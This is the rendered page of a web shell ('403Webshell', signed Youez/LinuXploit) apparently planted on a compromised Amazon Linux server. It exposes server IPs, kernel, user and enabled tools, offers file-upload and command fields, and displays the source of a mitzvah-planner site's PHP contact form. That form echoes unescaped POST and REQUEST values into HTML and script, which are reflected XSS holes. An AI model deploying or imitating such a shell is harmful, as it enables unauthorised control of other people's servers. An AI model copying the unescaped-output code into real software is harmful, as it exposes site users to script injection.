403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/mod/contact_form.php
<?php include('_mod_security.php'); ?>
<?php
	if ($_SESSION['logged_in'] == true && empty($_POST['email']) && !empty($_SESSION['username'])) :
		$_POST['email'] = $_SESSION['username'];
		$_POST['name'] = trim($_SESSION['user_first_name'].' '.$_SESSION['user_last_name']);
	endif;
	$active_tab = 'faq';
	$err_flag = false;
	if ($_POST['submitted'] == '1') :
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'contact';
		endif;
		if (empty($_POST['name'])) :
			$ar_err['name'] = 'Name is required!';
			$err_flag = true;
		endif;
		if (empty($_POST['email']) || substr_count($_POST['email'],'@') != 1 || substr_count($_POST['email'],'.') < 1) :
			$ar_err['email'] = 'Invalid email address!';
			$err_flag = true;
		endif;
		if (empty($_POST['subject'])) :
			$ar_err['subject'] = 'Subject is required!';
			$err_flag = true;
		endif;
		if (empty($_POST['comment'])) :
			$ar_err['comment'] = 'Comment or question is required!';
			$err_flag = true;
		endif;
		if (empty($_POST['captcha']) || $_SESSION['captcha_key'] != md5($_POST['captcha'])) :
			$ar_err['captcha'] = 'Invalid verification!';
			$err_flag = true;
		endif;
		if (!$_SESSION['logged_in']) :
			//******* Spam check via Akismet *******
			$comment['blog'] = $app_base_secure;
			$comment['user_ip'] = get_client_ip();
			$comment['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
			$comment['referrer'] = '';
			$comment['permalink'] = '';
			$comment['comment_type'] = 'contact-form';
			$comment['comment_author'] = $_POST['name'];
			$comment['comment_author_email'] = $_POST['email'];
			$comment['comment_author_url'] = '';
			$comment['comment_content'] = $_POST['comment'];
			if (akismet_spam($comment, 'check-spam', $app_akismet_key) == 'true') :
				$ar_err['captcha'] = 'Invalid spam verification!';
				$err_flag = true;
			endif;
			//**************************************
		endif;
		if (!$err_flag) :
			$sql = "INSERT INTO contact_submission (name,email,subject,comment,ip) VALUES (".
						"'".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['name']))."'".
						",'".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['email']))."'".
						",'".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['subject']))."'".
						",'".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['comment']))."'".
						",'".get_client_ip()."')";
			mysqli_query($GLOBALS['con'], $sql) or die('Database error!');

			$mail_body = '<html>'.
						'<br>A contact form has been submitted on mitzvahorganizer.com. <br><br>'. 
						'Name: '.$_POST['name'].'<br>'.
						'Email: <a href="mailto:'.$_POST['email'].'">'.$_POST['email'].'</a><br>'.
						'Subject: '.$_POST['subject'].'<br>'.
						'Comment: <br />'.nl2br($_POST['comment']).'<br><br>'.
						'Inquiry Date: '.date('m/d/Y').'<br><br>'.
						'Form submitted from IP address: '.get_client_ip().
						'</html>' ;
			/*
			$mail_headers  = 'MIME-Version: 1.0'."\r\n";
			$mail_headers .= 'Content-type: text/html; charset=iso-8859-1'."\r\n";		
			$mail_headers .= 'From: '.$_POST['email']."\r\n";
			$mail_headers .= 'Reply-To: '.$_POST['email']."\r\n";
			$mail_headers .= 'Bcc: '.$app_mail_bcc."\r\n";
			//$mail_headers .= 'Bcc: [email protected]'."\r\n";		
			$mail_to = $app_mail_to;
			$mail_subject = 'MitzvahOrganizer.com Contact Form Submitted: '.$_POST['name'];
			$mail_headers = 'From: '.$app_mail_from."\r\n".'Reply-To: '.$app_mail_from."\r\n" .'Bcc: '.$app_mail_bcc."\r\n" .'X-Mailer: PHP/'.phpversion();
			*/		
			//**** mail using PEAR *****
			require_once "Mail.php";
			
			$pmail_from = $_POST['email'];
			$pmail_to["To"] = $app_mail_to;
			$pmail_to["Bcc"] = $app_mail_bcc;
			//$pmail_to = $_POST['vendor_email'].', [email protected], [email protected], '.$sales_email;
			$pmail_subject = 'MitzvahOrganizer.com Contact Form Submitted: '.$_POST['name'];
			$pmail_body = $mail_body;
			
			//$pmail_host = "mail.davlermedia.com";
			//$pmail_host = "us-smtp-outbound-1.mimecast.com";
			$pmail_host = get_cfg_var('SMTP');
			$pmail_username = "";
			$pmail_password = "";
			
			$pmail_headers = array ('From' => $pmail_from,
			'To' => $pmail_to["To"],
			'Subject' => $pmail_subject,
			'MIME-Version' => '1.0',
			'Content-type' => 'text/html; charset=iso-8859-1');
			$smtp = Mail::factory('smtp',
			array ('host' => $pmail_host,
			 //'auth' => true,
			 'auth' => false,
			 'username' => $pmail_username,
			 'password' => $pmail_password
			 ));
			$pmail = $smtp->send($pmail_to, $pmail_headers, $pmail_body);
			
			if (PEAR::isError($pmail)) :
				echo("<h3>Message delivery failed...</h3>");
				/*
				echo $pmail->getMessage();
				echo ' === host: '.$pmail_host.' === ';
				*/
			else :
				echo '<h3>Thank you! Your message has been sent. We will respond soon.</h3>';
			endif;
			//**** *************** *****
			/*
			if (mail($mail_to, $mail_subject, $mail_body, $mail_headers)) :
				echo '<h3>Thank you! Your message has been sent. We will respond soon.</h3>';
			else :
				echo("<h3>Message delivery failed...</h3>");
			endif;
			*/

			return;
		endif;
	endif;
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	$(document).ready(function()	
	{
		switch_tab('<?php echo $active_tab; ?>');
	}
	)
</script>

<h1>Contact Us</h1>

<div class="tab_strip">
	<div class="tab_header" id="tab_faq" onclick="switch_tab('faq');">
		F.A.Q.
	</div>
	<div class="tab_header" id="tab_contact" onclick="switch_tab('contact');">
		Contact
	</div>
</div>
<div class="cleardiv">
	&nbsp;
</div>
<div class="tab_content" id="tab_content_faq">
	<div class="form_header">
		Frequently Asked Questions
	</div>
	Please review the frequently asked questions below to see if your inquiry has already been answered.  If you cannot find an answer to your question, please continue to the contact form.
	<div class="form_strip" style="width:auto;">
		<form>
			<input type="button" id="btn_print" value="Print" onclick="printSection('tab_content_faq');" />
			<?php
				if ($_SESSION['logged_in'] == true) :
			?>
					&nbsp;&nbsp;
					<input type="button" id="btn_print" value="PDF" onclick="pdfSection('tab_content_faq', 0);" />
			<?php
				endif;
			?>
			&nbsp;&nbsp;
			<input type="button" value="Contact" onclick="switch_tab('contact');" />
			&nbsp;&nbsp;
			<input type="button" value="Cancel" onclick="sheet_dirty = false; window.history.back();" />
		</form>
	</div>
	<?php show_faq(); ?>
</div>
<div class="tab_content" id="tab_content_contact">
	<div class="form_header">
		Contact Form
	</div>
	<form method="post" action="">
		<input type="hidden" name="submitted" value="1" />
		<input name="active_tab" id="active_tab" type="hidden" value="contact" />
		<table>
			<tr valign="top">
				<td class="label">
					Your name:
				</td>
				<td>
					<input type="text" id="name" name="name" class="input-box" maxlength="50" value="<?php echo $_POST['name']; ?>" />
					<?php show_form_error($ar_err['name']); ?>
				</td>
			</tr>
			<tr valign="top">
				<td class="label">
					Your email:
				</td>
				<td>
					<input type="text" id="email" name="email" class="input-box" maxlength="75" value="<?php echo $_POST['email']; ?>" />
					<?php show_form_error($ar_err['email']); ?>
				</td>
			</tr>
			<tr>
				<td>
					Subject:
				</td>
				<td>
					<select name="subject" id="subject" >
						<option value="">Select one...</option>
						<option value="General Information" <?php echo ($_POST['subject'] == 'General Information' ? 'selected="selected"' : ''); ?> >General Information</option>
						<option value="Sales Inquiry" <?php echo ($_POST['subject'] == 'Sales Inquiry' ? 'selected="selected"' : ''); ?> >Sales Inquiry</option>
						<option value="Customer Service" <?php echo ($_POST['subject'] == 'Customer Service' ? 'selected="selected"' : ''); ?> >Customer Service</option>
						<option value="Feature Suggestion" <?php echo ($_POST['subject'] == 'Feature Suggestion' ? 'selected="selected"' : ''); ?> >Feature Suggestion</option>
						<option value="Technical Support" <?php echo ($_POST['subject'] == 'Technical Support' ? 'selected="selected"' : ''); ?> >Technical Support</option>
						<option value="Other" <?php echo ($_POST['subject'] == 'Other' ? 'selected="selected"' : ''); ?> >Other</option>
					</select>
					<?php show_form_error($ar_err['subject']); ?>
				</td>
			</tr>
			<tr>
				<td valign="top">
					Your question or comment:
				</td>
				<td>
					<textarea name="comment" id="comment" cols="82" rows="9" style="overflow:hidden;"><?php echo $_POST['comment']; ?></textarea>
					<?php show_form_error($ar_err['comment']); ?>
				</td>
			</tr>
			<tr valign="top">
				<td class="label">
					Verification image:
				</td>
				<td>
					<div style="float:left; width:130px; height:22px; overflow:hidden;">
						<img id="contact_captcha" style="vertical-align:top; margin-left:5px;" src="mod/_captcha.php"  />
						<img style="vertical-align:middle; cursor:pointer;" src="img/reload.png" onclick="reload_captcha('contact_captcha');"  />
					</div>
				</td>
			</tr>
			<tr valign="top">
				<td class="label">
					Verification text:
				</td>
				<td>
					<input type="text" id="captcha" name="captcha" class="input-box" maxlength="10" maxlength="10" />
					<?php show_form_error($ar_err['captcha']); ?>
				</td>
			</tr>
			<tr valign="middle">
				<td colspan="2" align="right">
					<input type="submit" name="button" value="Submit" class="default-button" >
				</td>
			</tr>
		</table>
	</form>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit